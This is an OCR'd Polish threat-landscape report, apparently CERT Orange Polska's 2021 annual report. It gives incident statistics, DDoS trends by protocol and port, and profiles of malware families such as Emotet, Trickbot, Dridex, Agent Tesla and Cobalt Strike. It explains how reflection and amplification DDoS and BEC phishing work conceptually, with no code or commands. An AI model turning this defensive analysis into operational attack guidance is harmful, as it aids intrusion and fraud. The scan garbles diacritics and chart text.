Il Wiamania sieciowe

Rozktad w czasie wystepowania incydentéw

w 2021 r. nie jest regularny. Przede wszystkim
mozna zauwazy¢ wzrost liczby obstugiwanych
incydentow w kwietniu, czerwcu oraz

w listopadzie i grudniu. Wzrost ten spowodowany
byt zwiekszona liczba przypadkow kampanii
phishingowych i ztosliwego oprogramowania,
zwigzanych m. in. z Flubotem.

Gromadzenie informaciji

Incydenty z kategorii ,,gromadzenie informac;ji” stanowity
najliczniejsza grupa obstuzonych w 2021 r. (39,2 proc.
wszystkich). Na grupe tych incydentow skiadajg sie

przede wszystkim przypadki phishingu oraz skanowania
portéw. Tego typu zagrozenia to w wiekszosci przypadkéw
istotny element bardziej zaawansowanych atakéw, majacych
na celu kradziez informaciji czy oszustw finansowych.

Na przestrzeni roku najwiecej przypadkéw w tej kategorii
wystapito w kwietniu oraz grudniu.

Ztosliwe oprogramowanie

Na klase incydentow ,ztosliwe oprogramowanie” sktadajg

sie przede wszystkim przypadki infekcji (m.in. infekcji ztosli-
wym oprogramowaniem typu ransomware, trojan), dystrybucji
ztosliwego oprogramowania, w tym m.in. ztosliwe oprogra-
mowanie w zatgczniku wiadomosci, hostowanie ztosliwych
stron czy hostowania serweréw Command&Control (C&C)
kontrolujgcych zdalnie sie¢ zainfekowanych komputerdw.
Incydentow o takiej charakterystyce byto 17,6 proc. wszystkich
obstuzonych w roku 2021, za$ najwiecej przypadkdw w tej
kategorii wystgpito w listopadzie oraz grudniu. Spowodowane
byto to zwiekszong liczbg kampanii ztosliwego oprogramowania
(ztosliwe oprogramowanie jako zatacznik badz link
prowadzacy do ztosliwego URL), zwigzanych z Flubotem.

W praktyce w wiekszos$ci analizowanych incydentéw,
cyberprzestepcy zamierzony cel osiagneli przy uzyciu
ztosliwego oprogramowania, dlatego temu zagrozeniu
poswiecona jest odrebna czes$¢ raportu.

Dostepnos¢ zasobow

Na klase incydentéw ,,dostepnos$¢ zasobow” sktadajg

sie przede wszystkim przypadki atakéw typu Distributed
Denial of Service (DDoS). Incydentéw o takiej charakterystyce
byto 13,3 proc. w roku 2021, za$ na przestrzeni roku
najwiecej incydentow w tej kategorii obstuzono we wrzesniu,
pazdzierniku oraz listopadzie. Incydenty te, podobnie jak
ztosliwe oprogramowanie, moga by¢ szczegéinym
zagrozeniem i powodowac istotne straty, dlatego
poswieciliSmy im odrebng czes$¢ raportu.

Obrazliwe i nielegalne tresci

Na grupe incydentow okreslanych jako ,obraZliwe i nielegalne
tresci” sktadajg sie przede wszystkim przypadki dotyczace
rozsytania spamu. Inne typy incydentéw w tej grupie

to m. in. przypadki dotyczace naruszen praw autorskich
(np. piractwo) oraz rozpowszechniania tresci zabronionych
prawem (np. tresci rasistowskie, pornografia dziecieca

czy wychwalajgce przemoc). W 2021 r. odnotowano

14,8 proc. tego typu przypadkéw. Na przestrzeni roku

2021 szczegdlne nasilenie incydentéw w tej kategorii mozna
byto zaobserwowaé w czerwcu, zas najmniejsze w grudniu.

Poufnos¢ i integralnosé informaciji

Na te klase sktadajg sie przypadki nieautoryzowanego
dostepu do informacji oraz zmiany lub usuniecia zbioréw
informacji. W 2021 r. odnotowano 4,1 proc. tego typu
przypadkdéw. Niemniej jednak takie incydenty maja duzy
ciezar gatunkowy. W praktyce oznaczajg powazne problemy
zwigzane z wyciekiem informacji lub innymi konsekwencjami
nieautoryzowanego dostepu do nich. Na przestrzeni roku
najwiecej incydentéw w tej kategorii obstuzono w styczniu,
a najmniej we wrzesniu.

Préby wiaman

W kategorii ,proby wtaman” ujeto gtéwnie przypadki
usitowania przetamania zabezpieczen przez wykorzystanie
podatnosci systemow, jego komponentdw lub catych sieci
oraz préb logowania do ustug lub systeméw dostepowych
(zgadywania hasef), majace na celu uzyskanie dostepu

do systemu czy przejecia nad nim kontroli. Incydentéw

o takiej charakterystyce byto 4,0 proc. w roku 2021,

za$ na przestrzeni roku najwiecej incydentow

w tej kategorii obstuzono w listopadzie.

Oszustwa sieciowe

W kategorii ,0szustwa sieciowe” zostaty zawarte gtdéwnie
przypadki nieautoryzowanego uzycia zasobdw i nielegalnego
uzywania nazwy innego podmiotu bez jego zezwolenia.
Przypadki te stanowity 2,7 proc. wszystkich incydentéw,
najwiecej przypadkdéw w tej kategorii na przestrzeni roku
wystapito w styczniu oraz pazdzierniku. Przypadki te
dotyczyty gtdwnie atakéw podszywania sie pod znane
marki i instytucje w kampaniach ztosliwego oprogramowania
oraz phishingowych.

Wtamania sieciowe

Na te klase incydentow sktadajg sie typy incydentoéw tozsame
z klasg ,,préby wtaman” jednak zakoficzone pozytywnym
efektem z punktu widzenia atakujacego. Incydentow

o takiej charakterystyce byto 0,3 proc. w roku 2021.

Inne

Incydenty niesklasyfikowane w poprzednich kategoriach
stanowity nieznaczny odsetek wszystkich przypadkow.
Nie mozna okresli¢ zadnego dominujgcego rodzaju
wsrdd tych incydentéw.
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Wolumetryczne ataki na ustugi
i infrastrukture - DDoS

W niniejszym rozdziale przedstawiamy skale oraz typy
wolumetrycznych atakéw DDoS identyfikowanych na
analizowanych fgczach Orange Polska. Analizy dotycza
przede wszystkim rodzajéw wykrywanych atakéw DDoS,
ich sity, czasu trwania oraz poréwnan z ubiegtym rokiem.

Ataki odmowy dostepu do ustugi (Distributed Denial of Service
— DDoS) to jedne z najprostszych i najbardziej popularnych
atakéw na sie¢ lub system komputerowy a zarazem jedne

z bardziej niebezpiecznych i groznych w skutkach. Ich gtéwnym
celem jest utrudnienie badz uniemozliwienie korzystania

z oferowanych przez zaatakowany system ustug sieciowych

i w efekcie paraliz infrastruktury ofiary poprzez masowe
wysytanie zapytan do zaatakowanej ustugi.

Dane podawane na wykresach sg usrednione (poza tym
podpisanym jako ,Wolumen najsilniejszych atakéw DDoS
zaobserwowanych w sieci Orange Polska na przestrzeni
ostatnich lat”).

Ataki DDoS
— charakterystyka ruchu

Ponizej przedstawiamy charakterystyki ruchu dla najczesciej
wykorzystywanych w atakach DDoS portéw protokotu UDP
na analizowanych tgczach Orange Polska. Port 389 jest
wykorzystywany przez ustuge CLDAP (Connectless Lightweight
Directory Access Protocol) stuzgcej do korzystania z ustug
katalogowych. Na analizowanym taczu Orange Polska,
najwiekszy ruch na tym porcie (niemal 80 Gbps) zaobserwowano
w styczniu oraz we wrzesniu (ponad 60 Gbps).

Charakterystyka ruchu na porcie 389 na analizowanym taczu Orange Polska
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Port 123 jest uzywany przez ustuge NTP (Network Time Protocol) stuzacej synchronizacji czasu w systemach
teleinformatycznych i telekomunikacyjnych. Najwiekszy ruch na tym porcie zaobserwowano w styczniu (powyzej 100 Gbps).

Charakterystyka ruchu na porcie 123 na analizowanym taczu Orange Polska
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Port 53 uzywany przez ustuge DNS (Domain Name System), odpowiedzialnej za wzajemna translacje nazw domenowych
i adreséw IP. Najwiekszy ruch na tym porcie zostat zidentyfikowany w listopadzie oraz grudniu (niemal 200 Gbps).

Charakterystyka ruchu na porcie 53 na analizowanym taczu Orange Polska
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Diagram poziomu krytycznosci

Ataki DDoS - typy atakow

Klasyfikacja atakow DDoS uzywana przez CERT Orange
Polska opiera sie na trzech kategoriach o réznym poziomie
krytycznosci. Ten aspekt jest zalezny od wolumenu ruchu
oraz czasu trwania anomalii. Alert wysoki najczesciej ma
istotny wptyw na dostepnosc¢ ustug, zas te o poziomach
Srednim i niskim ograniczajg jg jedynie w specyficznych
warunkach.

Najwieksza odnotowana
wartos$¢ natezenia ruchu

w szczycie ataku to:
Czesto$¢ wystepowania atakéw DDoS na przestrzeni
ostatnich lat utrzymuije sie na zblizonym poziomie, cho¢
z tendencjg wzrostowa. Najwiecej alertow na przestrzeni
roku 2021 zarejestrowano 24 wrzesnia (niemal 1600).
Wzrost ten spowodowany byt zwiekszona liczba atakow
typu carpet bombing (wiecej o tego typu atakach
w dalszej czesci rozdziatu).

ok. 76 Gbps.

B Niski
B Sredni
M Wysoki

Rozktad alertéw DDoS w podziale na poziom krytycznosci
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W rozktadzie procentowym poziomu krytycznosci

atakéw DDoS w roku 2021 najwiekszy udziat alertow
stanowity te o Srednim stopniu krytycznosci — ponad
potowe odnotowanych zdarzen. W poréwnaniu do 2020 r.
jest ich 0 6,2 pp. mniej. W roku 2021 udziat atakow

0 najnizszym stopniu krytycznosci zwiekszyt sie % _g
0 6,8 pp. w poréwnaniu do roku 2020 i wyniost 25,7 ) ]
procent. Udziat atakow o najwyzszym stopniu krytycznosci ; o

wynidst 18,3 proc. i byt na zblizonym poziomie
do roku 2020 (18,9 proc.).

24

X
b3
)
2

niski

alertow DDoS w rozktadzie procentowym

= 18,3%
= 56%
= 25,7%

25,7%

I/'/////

S

v

Podobnie jak w poprzednich latach, najczesciej
wystepujacymi rodzajami atakéw wolumetrycznych

obok IP/UDP Fragmentation (70,3 proc. wszystkich atakéw
— znaczny spadek w stosunku do roku 2020 — o 11 pp.)
byty ataki Reflected DDoS przy uzyciu protokotéw UDP.
WSsrdd nich w roku 2021, najczesciej wykorzystywane
byty otwarte serwery DNS (49 proc. — nieznaczny spadek
w stosunku do roku 2020 - o 3,9 pp.), otwarte serwery
LDAP - (27 proc. —znaczny spadek w stosunku do roku
2020 - o 13,8 pp.), niepoprawnie skonfigurowane serwery
czasu (NTP) — identyfikowane w 19,3 proc. wszystkich
atakow (identyczny poziom do roku 2020), serwery
Memcached (okoto 3 proc. — wzrost w stosunku

do roku 2020 — ponad 1 pp.).

W roku 2021 nastepowat dalszy wzrost ustug wykorzysty-
wanych w atakach Reflected DDoS. Oprocz ustugi DNS,
NTP oraz CLDAP do$¢ czesto wystepowaty ataki Reflected
DDoS z wykorzystaniem: protokotu SSDP - port UDP/1900,
CHARGEN - port UDP/19, czy SNMP - port UDP/161.
Identyfikowano réowniez przypadki z wykorzystaniem ustugi
m. in.: Apple Remote Desktop (ARD) — port UDP/3283,
WS-Discovery (WSD) — port UDP/3702, Ubiquiti — port
UDP/10001, openvpn - port UDP/1194, Microsoft SQL
Resolution Service (MS SQL RS) — port UDP/1434,
NetBIOS - port UDP/137 lub UDP/138, czy Layer 2
Tunneling Protocol (L2TP) — port UDP/1701.

Coraz czesciej zaczety pojawiac sie ataki Reflected DDoS
przy uzyciu protokotéw TCP (SYN-ACK). Ataki typu
Reflection/Amplification (odbicie-wzmocnienie) zazwyczaj
wykorzystuja protokét UDP i ustugi, ktdre nie weryfikuja
zrédtowego adresu IP przychodzacych pakietéw

(np. DNS, NTP). Atakujacy najpierw generuje fatszywy
pakiet ze Zrodtowym adresem IP wskazujacym na ofiare
(cel ataku) i wysyta go do tych ustug (reflektor), co skutkuje
duza odpowiedzig (wzmocnieniem) wystang do ofiary.
Ataki TCP Reflection/Amplification dziatajg w podobny
sposoéb, wysytajac sfatszowane pakiety TCP SYN

do reflektora. Pomimo tego, ze rozmiar pakietu
dostarczonego do ofiary moze by¢ nieznacznie wiekszy
jak pakiet wystany przez atakujgcego, bazujg na tym, ze
reflektor moze wystaé do ofiary wiele odpowiedzi SYN-ACK
w krotkich odstepach czasu, jesli nie otrzyma koricowego
ACK uzgadniania, powodujac wzmochienie. Liczba oraz
czestotliwo$é wystanych odpowiedzi (SYN-ACK) moze
by¢ rézna w zaleznosci od urzadzenia i ustug, zalezna
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m. in. od uzywanego systemu operacyjnego, ustawier’ Opisy atakéw znajdziecie w Glosarius Wolumen atakéw DDoS Podobnie jak w latach poprzednich utrzymuije sie trend
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Aktywnosc zltosliwego oprogramowania
w przestrzeni klienckiej Orange Polska

Ztosliwe oprogramowanie na
przestrzeni roku 2021

Rok 2021 nie przyniost rozwigzania problemu pandemii
koronawirusa. W duzej mierze $wiat i zycie publiczne nadal
oscylowato wokdt wydarzen zwigzanych z rozprzestrze-
nianiem sie nowych mutacji COVID-19, ale $wiat zdgzyt
juz przywyknaé, oswoic sie i zaadaptowac do biezgcej
sytuacji. Wiele branzy z sektora gospodarki czy rynku
ustugowego jeszcze mocniej uzaleznito sie od sieci. Internet
i komputer stat sie podstawowym i niemalze wytacznym
narzedziem do pracy i nauki dla miliondéw ludzi w Polsce

i na Swiecie. W czasach rozrastajacej sie cyberprzestrzeni
coraz gtosniejszym tematem stato sie jej bezpieczenstwo.
Wyzwania i problemy, z ktérymi musimy sie mierzy¢

w dobie pojawiajacych sie zagrozen i atakéw powigzanych
ze zlodliwym oprogramowaniem przyblize w tym rozdziale.

W 2021 roku CERT Orange Polska zidentyfikowat

niecate 5 milionéw zdarzen zwigzanych ze ztosliwym
oprogramowaniem co stanowito okoto 4% spadek
poprzednim. Podobnie, jak w latach ubiegtych dane zostaty
zgromadzone z sond bezpieczenstwa analizujacych sie¢
kliencka. Sondy monitorujgce umieszczone zostaty

w reprezentatywnych segmentach sieci szerokopasmowej
stacjonarnej i mobilnej. Powyzsze dane zostaty uzupetnione
informacjami zebranymi w procesie threat huntingu

oraz wzbogacone wynikami analizy przeprowadzonej

przez autora tekstu.

Wektory infekcji ztosliwym
oprogramowaniem w roku 2021

28

CERT Orange Polska zidentyfikowane zagrozenia zwigzane
bezposrednio lub posrednio z aktywnoscig malware dzieli
na trzy grupy:

B Malware object: dostarczenie do stacji koncowe;j
ztosliwego oprogramowania np. poprzez zatacznik
z wykonywalnym skryptem lub link do pliku

umieszczonego na spreparowanym zasobie sieciowym.

¥ Web infection: infekcje z wykorzystaniem podatnosci
przegladarki za pomoca exploit kitow, a takze wszelkie
fatszywe strony naktaniajace uzytkownika do pobrania
i wykonania ztosliwego kodu pod pretekstem
aktualizacji/naprawy swojego oprogramowania.

B Malware callback: potwierdzenie skutecznego
uruchomienia ztosliwego kodu poprzez zestawienie
komunikacji sieciowej z serwerem zdalnego
zarzadzania (w celu pobrania dodatkowego kodu,
badz przekazania wykradzionych informaciji).

Malware Callback

2 537 163

Malware Object

191 233

Web Infection

93 480

44 O/ 0O Malspam
35 O/ O Smishing
16% iSocial Media

5(%) Inne

Pierwszy kwartat 2021

Poczatek roku zwykle nie przynosi drastycznych zmian

w stosunku do roku poprzedniego. Tak byto i tym razem.
Zagrozenia, ktére zamykaty 2020 na szczycie, nadal

nekaty uzytkownikdw w miesigcach nastepnych.

W stosunku do 4 kwartatu 2020 najwigkszy wzrost

(blisko 15%) zanotowaty zagrozenia z rodziny Infostealeréw,
tj. oprogramowania wykradajacego dane dostepowe

m.in. do kont spotecznosciowych, aplikaciji, komunikatoréw,
systemow pocztowych czy portfeli kryptowalut. Najwiekszy
spadek aktywnosci wydarzyt sie w rodzinie Downloaderow
— oprogramowania wykorzystywanego do dystrybucji
dowolnego ztosliwego kodu na przejete stacje, operujgcego
w ramach ustug Malware as a Service. Spadek ten wynikat
bezposrednio z wydarzenia, ktére mocno wptyneto

na statystyki wykrywanego ztosliwego oprogramowania

na przestrzeni catego roku.

27 stycznia 2021 do informacji publicznej dotarta wiadomos$¢
o przejeciu infrastruktury Emoteta przez stuzby Europolu.

W wyniku skoordynowanej operacji Europolu i FBI we
wspotpracy z lokalnymi organami $cigania z wielu krajéw
europejskich przechwycono i zabezpieczono setki serwerow,
a takze bazy danych zawierajgce wykradzione pliki, hasta

i adresy mailowe ofiar cyberprzestepcédw. Byta to jedna

z najwiekszych udanych operacji wymierzonych w
cyberprzestepcow, zaréwno pod wzgledem skali jak

i logistyki. Infrastruktura botnetu Emoteta usytuowana

byta w dziesigtkach krajow, a jego udziat w rynku ztosliwego
oprogramowania stanowit przynajmniej 20% wszystkich
wykrywanych infekcji na Swiecie.

Wersja trzecia dodatkowo wzbogaca i przyspiesza proces
zaciemnienia kodu, a takze posiada funkcje pozwalajace
nadpisac i zaktéci¢ funkcjonowanie wbudowanego

w Windows10 modutu antymalware — AMSI. Sam wektor
ataku cho¢ najczesciej wykorzystywat techniki mailowego
spear-phishingu nierzadko pierwszy modut ukrywat

w plikach innych niz te Office-owe, a do firm pod ktére
Agent Tesla podszywat sie na przestrzeni roku mozna
dopisac takze przynajmniej dwa polskie banki.

Niespetna kilkanascie miesiecy temu, Emotet
bezdyskusyjnie stanowit najczesciej rozpowszechniany
malware na $wiecie. Od kiedy go zabrakto, walka

o dominacje wsréd konkurujgcych ze sobg botnetéw trwa
do dzisiaj, ale zaden z jej uczestnikéw nie jest w stanie
osiggnac¢ znacznej przewagi nad innymi graczami. Emotet
zmienit postrzeganie roli ztosliwego oprogramowania jako
narzedzia pozwalajgcego na kradziez danych czy zdobycie
dostepu do zainfekowanego urzadzenia. On stworzyt
wtasne CDN-y (Sieci Dostarczania Zawartosci) w zatozeniach
analogiczne do tych wykorzystywanych przez wiodace
portale informacyjne, ale ukierunkowane wytacznie

do ztosliwego oprogramowania. | tak jak prywatne
przedsiebiorstwa moga zgtaszaé sie do Facebooka,

by ten odptatanie wyswietlat ich oferte, tak operatorzy
ztosliwego oprogramowania kupowali od Emoteta ustuge
dystrybucji swego produktu na zainfekowane stacje
wchodzgce w sktad olbrzymiego botnetu.

Pustka, ktdra pozostawito zamkniecie tego botnetu sprawita,
ze na przestrzeni 2021 r. z przyktadu wyznaczonego przez
tworcdw Emoteta, zaczeli korzystaé inni, zmieniajagc modele
dystrybucji i budujgc wtasne CDN-y, nawet jesli na mniejszg
skale i z o wiele mniejszym rozmachem. Najlepszym
przykladem takiej ewolucji bedzie lcedID - trojan bankowy,
ktory przeszedt droge od oprogramowania dostarczanego

na koncu tancucha dystrybucji, na bedace dostarczycielem
dla innych. Innym przyktadem jest dtugoletni partner Emoteta
- Trickbot, dystrybuujgcy z reguty ransomware Ryuk.

Podczas gdy TrickBot wciaz istnieje, jego tworcy postawili

na rozwdj botnetu nowej generacji — BazarLoadera,
opracowanego wytgcznie jako kod majacy dostarczaé
szkodliwe oprogramowanie zaréwno w imieniu wiasnych
operatoréw, jak i innych grup. BazaarLoader to ztosliwe
oprogramowanie dla systemu Windows, ktére rozprzestrzenia
sie gtéwnie poprzez malspam. Po uruchomieniu, BazarLoader
instaluje na staciji ofiary backdoor, ktérego przestepcy
uzywajg do okreslenia, czy urzadzenie jest czescig
srodowiska Active Directory czy nie. Jesli tak, BazarLoader
transferuje i uruchamia moduty Cobalt Strike w ramach
dodatkowego rozpoznania. Jesli wyniki wskaza na cel

o wysokiej — dla przestepcow wartosci, podejmowana

jest préba exploitacji systemu, kradziezy danych

i finalnego dostarczenia oprogramowania ransomware,

z rodziny Conti lub Ryuk.

Wspdlnikiem Emoteta, ktdry najszybciej zareagowat na
zamkniecie botnetu byt jednak zdecydowanie Quakbot.
Quakbot, przyblizany szerzej w ubiegtym raporcie cho¢

na przestrzeni roku modyfikowat swoje moduty i aktualizowat
funkcje, najwieksza zmiane przeszedt jednak w metodach
propagaciji, rozprzestrzeniajgc sie gtéwnie w kampaniach
malspamowych z wykorzystaniem réznych podatnosci

na biblioteki Microsoft Office i wielu zestawdéw
opakowujacych jego kod krypterdw.

Najczesciej wystepujace zdarzenia
w pierwszym kwartale 2021 roku’
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CobaltStrike, czyli jak rozwoj
bezpieczenstwa napedza rozwoj
zlosliwego oprogramowania

Cobalt Strike to komercyjny pakiet narzedzi
przeznaczonych do emulowania zagrozen spotykanych
»na dziko” w cyberprzestrzeni, odtwarzania technik
wykorzystywanych w znanych atakach i przygotowywania
atakdw penetrujacych systemy zabezpieczen. Wydany

w 2012 roku, Cobalt Strike byt powszechnie stosowanym
narzedziem w zespotach CERT, a zwtaszcza wérod
pentesteréw i zespotéw Red Teamowych, zajmujgcych
sie przede wszystkim bezpieczenstwem ofensywnym.

Podstawowym modutem Cobalt Strike’a jest Beacon.
Backdoor, ktéry mozna skonfigurowac by stuzyt
atakujacym na wiele sposéb: Od zdalnego wykonywania
polecen, przez pobieranie dodatkowego oprogramowania,
a na posrednictwie w przekazywaniu instrukcji do innych
Beacondw koriczac.

Szeroka skala zastosowan Beaconu, przy jednoczesnej
tatwosci w jego konfiguracji sprawity, ze Cobalt Strike
stat sie frameworkiem pierwszego wyboru wsréd
cyberprzestepcow, a zatem grupy docelowej przed
ktérg w zatozeniach twdrcow miat chronic¢, dostarczajgc
niezbednej wiedzy o ich metodach atakéw zespotom
bezpieczenstwa.

Dzi$ Cobalt Strike jest najszerzej kolportowanym
narzedziem w dark webowych targowiskach, internet
peten jest jego zmodyfikowanych konfiguracji (znajda
sie takze porty na platformy Linuxowe) czy petnych

Drugi kwartat 2021

Drugi kwartat kontynuowat trend malejacej liczby
wykrywanych zagrozen na urzadzenia stacjonarne.
Spowodowane byfo to zamknigciem Emoteta rozumianego
jako najpowszechniej dystrybuowany malware w kampaniach
phishingowych w sieci. Infostealery zaliczyty dodatkowy
wzrost (0 9%) w stosunku do ubiegtego kwartatu. Drugi
kwartat to takze szczytowy udziat modutowych Trojandw
bankowych w atakach na sie¢ Orange. Dla zagrozen z rodziny
Dridex i Quakbot zarejestrowali$my przyrost préb infekciji

na poziomie 89% w stosunku do kwartatu pierwszego.

Po zamknieciu botnetu Emoteta na poczatku roku, liczba
wiadomosci rozpowszechniajgcych ztosliwe makra spadta
prawie dziesieciokrotnie. Powstatg w ten sposéb luke sukce-

sywnie, ale powoli zapetniata rosngca aktywnosé phishingowa:

oszustwa BEC (Business Email Compromise) czy podatnos¢
silnika Internet Explorera MSHTML (CVE-2021-40444)
pozwalajaca na tworzenie ztosliwych plikow pakietu Office

z przejeta bibliotekg ActiveX, w celu uruchomienia ztosliwego

kodu instalujgcego na stacjach ofiary ztosliwe oprogramowanie.

W sieci Orange obserwowali$my wykorzystanie tego exploita
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spiraconych wersji. Dostepnosc¢ do szkolen czy nawet
materiatéw video, krok po kroku opisujacych kolejne
operacje, podnosi przystepnosé narzedzia

do maksymalnego stopnia.

W rezultacie blisko potowa odnotowanych w sieci

OPL przypadkéw ransomware, w ciggu ostatniego roku,
byta powigzana z wykorzystaniem Beaconéw Cobalt Strike
jako downloadera pierwszego wyboru, zostawiajgcego
daleko w tyle inne znane frameworki — Metasploita

czy Empire.

Ale spektrum uzycia Beacon6w nie ograniczat sie tylko
do ransomware-6w. Réwniez koparki kryptowalut, takie
jak LemonDuck wykorzystywaty jego funkcje zaréwno

do dystrybuciji jak i dalszej propagacji w ruchu poziomym
(lateralnym).

Cobalt Strike na stacje ofiary dostarczany byt na wiele
roznych sposobow. Najpopularniejsza metoda byt
oczywiscie malpsam i dokumenty ze ztosliwym makrem
zatgczane do phishingowych wiadomosci. Pojawiat

sie jednak takze jako dodatkowe oprogramowanie pobie-
rane przez instalatory (InstallCapital) jak i przy exploitach
na serwery aplikacyjne, ktére umozliwiaty zdalng instalacje
i uruchomienie programu w nastepstwie udanego ataku.

Przewidujemy, ze trend utylizacji Cobalt Strike i innych

frameworkdw nie tylko sie utrzyma, ale nawet rozwinie.
Przewrotno$¢ natury sprawia, ze takie narzedzia ciesza
sie jeszcze wieksza popularnoscia wéréd mniej

lub bardziej profesjonalnych przestepcédw — niz samych
zespotow cyberbezpieczenstwa.

gtébwnie przez narzedzia dystrybuujgce malware,
jak Qakbot, Dridex czy Trickbot. Identyfikowane
byty tez préby dostarczenia w ten sposéb modutow
Cobalt Strike’a.

Dridex to kolejna dtugowieczna rodzina ztosliwego opro-
gramowania, ktéra przeszta znaczng ewolucje w ostatnim
czasie. Po raz pierwszy ten trojan bankowy, zostat
zidentyfikowany w 2011 roku. W roku 2021 po kolejnych
aktualizacjach upodobnit sie do Trickbota czy Emoteta dzielac
swoje funkcjonalnosci na osobno wyzwalane i tadowane
moduty. Moduty Dridexa moga by¢ pobierane razem

w ramach pierwszej fazy ataku na system lub instalowane
pdzniej przez gtdwny modut loadera. Kazdy modut odpowiada
za wykonywanie okreslonych funkciji: kradziez danych
uwierzytelniajgcych, wydobywanie danych z plikdw cookie
przegladarki lub certyfikatow bezpieczenstwa, rejestrowanie
nacisnie¢ klawiszy lub robienie zrzutéw ekranu. Modut loadera
Dridexa zostat zaktualizowany, aby ukrywa¢ komunikacje

w TLS z wykorzystaniem protokotu HTTPS na porcie 443
zaréwno do pobierania dodatkowych modutow, jak

i w eksfiltracji zebranych danych na serwer C2. Eksfiltrowane
dane sg dodatkowo szyfrowane za pomocag RC4. Dridex
posiada rowniez alternatywna infrastrukture serweréw C2,

Ataki BEC czyli kolejna etap ekspansji
phishingu w dystrybuciji ztosliwego
oprogramowania

Business Email Compromise (BEC) to typ cyberataku
polegajacy na wystaniu wiadomosci mailowej na
stuzbowe skrzynki ofiar w ktorej przestepcy podszywajg
sie pod menedzera, kontrahenta, dostawce czy wierzyciela
atakowanej firmy. Wiadomosci przygotowywane sg

z reguly bardzo precyzyjnie, wiernie zachowujac elementy
graficzne i styl oryginatu, ale w zatgcznikach dostarczajg
pliki badz linki prowadzace do pobrania ztosliwego
oprogramowania na urzadzenie ofiary.

Ataki typu BEC sa stosowane od lat w cyberprzestrzeni,
jednakze z roku na rok ich udziat w liczbie wszystkich
rozsytanych wiadomosci phishingowych rosnie.

Latwosc¢ z jakg mozna potaczy¢ metody socjotechniczne
z cyberprzestepstwem sprawiajg, ze BEC w 2021 stat
sie jednym z najczestszych motywow oszustwa
stosowanych przy uzyciu wiadomosci mailowych.

Wiekszos$¢ atakdw ma na celu uzyskanie bezposredniej
korzysci finansowej, poprzez namoéwienie ofiary

do przelewu $rodkéw pod wskazany numer konta

czy infekcje trojanem bankowym. Oprécz tego,
cyberprzestepcy pozyskujg réwniez hasta dostepowe

ktora pozwala zainstalowanemu ztosliwemu oprogramowaniu
przetgczy¢ sie na kopie zapasowg w przypadku awarii
oryginalnego serwera C2. Te aktualizacje sprawity, ze Dridex
nie trafit do lamusa, a jego potgczenia do callbackow
stanowity bardzo regularny widok w sieci Orange

w drugim kwartale.

W pazdzierniku 2020 roku, Microsoft ogtosit, ze 94%
insfrastruktury Trickbota zostata przejeta i wytaczona,
poprzedzajgc dziatania Europolu wobec wspétpracujgcego

z Trickbotem Emoteta o okoto trzy miesigce. Tym razem
jednak operacja wytgczenia infrastruktury Botnetu nie okazata
sie tak skuteczna jak przy Emotecie. Operatorzy Trickbota,
ktérzy nie zostali aresztowani, juz w przeciggu trzech miesiecy
wrécili z odbudowanym zapleczem serweréw C&C,

a na przestrzeni roku kolejnych wersji i zmian w kodzie
malware‘u zaobserwowali$my przynajmniej czterdziesci.

Cyberprzestepcy stojacy za Trickbotem zwigkszyli swa
aktywnos$¢ w drugim kwartale 2021. Zaktualizowano modut
VNC do zarzadzania zdalnego botem, dodano nowe moduty
do przechwytywania haset, a nawet poprawiono injector
wstrzykujacy ztosliwy kod w atakach man in the browser.
Aktywnos¢ Trickbota w sieci Orange nie wrocita wprawdzie
do tej identyfikowanej w 2019 roku, ale w drugim i trzecim
kwartale 2021 r. odnotowali$my rosngcy trend infekcji

po raz pierwszy od potowy roku 2020.

Najczesciej wystepujacym ztosliwym oprogramowaniem

w pierwszej potowie roku 2021 okazat sie ponownie Agent
Tesla. Agent Tesla to oprogramowanie z pogranicza rodzin
RAT i infostealer, sprzedawany w modelu Malware as

do stuzbowych kont (linki do fatszywych paneli
logowania), ktére moga zosta¢ wykorzystanie przy
planowaniu bardziej zaawansowanych metod przetamania
zabezpieczen danej firmy.

Ataki BEC przeprowadzane sg z wykorzystaniem jednej
z trzech technik:

B Podszycia, czyli spreparowania takiej wiadomosci,
w ktorej adres mailowy nadawcy jest tudzaco
podobny do adresu, pod ktéry nastepuje podszycie.

B Spoofingu, czyli manipulacji nagtéwkami
wiadomosci w taki sposdb, by wyswietlana nazwa
adresata pokrywata sie z tg rzeczywista.

B Przejecia konta, czyli metody, w ktorej atak
realizowany jest z autentycznego konta pocz
towego nadawcy, przejetego uprzednio
przez przestepcow.

Jako ze, wymienione powyzej techniki nie w kazdym przy-
padku pozwalaja na rozpoznanie oszustwa tylko poprzez
identyfikacje rzeczywistego adresu pocztowego ofiary czy
serwera, z ktérego wiadomos$¢ zostata zainicjowana, tym
bardziej nalezy ostroznie podchodzi¢ réwniez do tresci
wiadomosci, a wysytane w nich dokumenty czy linki warto
weryfikowac¢ przy uzyciu oprogramo-wania lub zgtaszac
podejrzane przypadki do zespotow odpowiedzialnych

za zapewnienie cyberbezpieczenstwa w organizacii.

a Service aktywnie od kilku ostatnich lat. Jego popularno$¢
mozna wyttumaczy¢ $wietnym stosunkiem ceny do jakosci.

Tworcy oprogramowania oferujg petnowymiarowa
funkcjonalno$¢ RAT-a za bardzo niskg cene, jednoczesnie
zapewniajgc do tego rzeczywiste wsparcie techniczne.

Najczesciej wystepujace zdarzenia
w drugim kwartale 2021 roku

o
> o
©
- 0
—
o\o\o
0 o °
NS © © © w©
© X X X X
Ilq-q-q-q-
RN EEE
S 8 &8 % &8 £ 3 t o
LR - 1 = O = @© O
E o & 9 O o ® o 3
O g ¥ E ¢ = £ x O
s © 9 £ 9 9 o ¥
o O 3 2 8 -
= 2o s = X £ @£
EE ngﬁm
o = e 5 - c
g & @

31



Raport CERT Orange Polska 2021

Raport CERT Orange Polska 2021

Na przestrzeni 2021 roku kampanie dystrybuujgce

ten malware stawaty si¢ coraz bardziej wyrafinowane

i zréznicowane. Rozprzestrzeniat sie on w kampaniach
phishingowych, niejednokrotnie angazujgc do wysytki zaufane
serwery pocztowe firm trzecich czy przejete skrzynki innych
ofiar Botnetu. W dodatku pliki z Agentem Tesla dostarczane
drogg pocztowa tez réznity sie w zaleznosci od kampanii.
Byly wykorzystywane stare podatnosci na biblioteki OLE,
ale tez i te niedawne zwigzane z utylizacjg obiektoéw XLL.
Ukrywat sie nawet w skompilowanych plikach formatu
HTML (CHM).

Pod pewnymi wzgledami oprogramowanie z rodziny RAT-6w
dla indywidualnego uzytkownika moze by¢ nawet bardziej
niebezpieczne niz ransomware. W korcu tracimy nie tylko
nasze dane, ale takze kontrole nad wtasnym urzadzeniem,
jednoczesnie pozostajgc zwykle nieswiadomi ataku.

Trzeci kwartat 2021

Trzeci kwartat byt kolejnym okresem potwierdzajgcym
